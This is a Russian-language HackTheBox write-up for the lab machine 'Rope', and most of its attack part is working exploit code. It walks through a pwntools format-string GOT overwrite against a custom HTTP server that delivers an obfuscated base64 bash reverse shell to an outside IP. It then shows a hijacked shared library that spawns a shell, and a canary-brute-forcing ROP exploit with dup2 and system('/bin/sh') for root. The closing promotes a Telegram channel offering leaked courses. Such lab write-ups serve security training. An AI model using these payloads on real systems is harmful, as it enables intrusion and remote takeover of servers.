Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.
10.10.10.148 rope.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A rope.htb -p22,9999
На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.
При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).
И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.
HTTPserver PWN
Скачаем его и посмотрим, какая есть защита с помощью checksec.
Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:
- Бит NX (not execute) — это технология, используемая в ЦП, которая гарантирует, что некоторые области памяти (такие как стек и куча) не могут быть выполнены, а другие, такие как раздел кода, не могут быть записаны. Это мешает нам записывать шеллкод в стек и выполнять его.
- ASLR: в основном рандомизирует базу библиотек (libc), так что мы не можем знать адрес памяти функций libc. Это мешает атакам типа ret2libc.
- PIE: этот метод, как и ASLR, рандомизирует базовый адрес, но из самого двоичного файла. Это затрудняет нам использование гаджетов или функций исполняемого файла.
- Canary: обычно случайное значение, генерируется при инициализации программы и вставляется в конец области, где переполняется стек. В конце функции проверяется, было ли изменено значение канареек. Мешает выполнить переполнение и перезаписать адрес.
Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:
- По какому адресу загружена сама программа?
- И по какому адресу, загружены используемые ей библиотеки?
Давайте сделаем это.
curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.
from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — LazyIDA. И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.
По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.
И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.
Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.
Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.
curl http://127.0.0.1:9999/qwerty
Давайте проверим уязвимость форматной строки.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).
Получаем 53. Проверим, что все верно.
curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:
bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:
echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.
echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Давайте допишем это в код:
offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:
writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Собираем итоговую полезную нагрузку:
payload = shell + " /" + urllib.quote(format_string) + "nn"
Подключаемся и отправляем:
p = remote(host,port)
p.send(payload)
p.close()
Полный код выглядит так.
Выполним код и получим бэкконнект.
USER
Проверим настойки sudo для выполнения команд без пароля.
И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so|libc.so.6"
То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Теперь компилируем ее.
gcc -c -Wall -Werror -fpic liblog.c
И собираем библиотеку.
Gcc -shared -o liblog.so liblog.o
После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.
Таким образом, мы берем пользователя.
ROOT
Для перечисления системы используем linpeas.
Так на локалхосте прослушивается 1337 порт.
Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.
Есть интересный файл. И это та программа, что прослушивает порт.
При этом в приложение работает от имени root.
Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.
Проверим какую защиту имеет приложение.
Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал здесь). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.
Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.
Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.
Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.
Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:
- найти и переполнить буфер;
- сбрутить канарейку, rbp и rip;
- так как активирован PIE, то нужно найти действительное смещение;
- найти утечку памяти для вычисления адреса, по которому загружена библиотека;
- Собрать ROP, в котором поток стандартных дескрипторов будет перенаправлен в сетевой дескриптор программы, после чего вызвать /bin/sh через функцию system.
1.Переполнение буфера
Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.
Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).
#!/usr/bin/python3
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canary, RBP, RIP
Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.
def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Таким образом мы можем составить pre_payload:
pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.PIE
Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.
Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.
base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4.Memory leak
В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.
Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.
Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.
rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.
libc.address = base_libc
shell_address = next(libc.search(b"/bin/shx00"))
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. Эксплуатация
Полный код эксплоита.
Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.
И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).
ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
И запускаем эксплоит.
Мы работаем под рутом.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов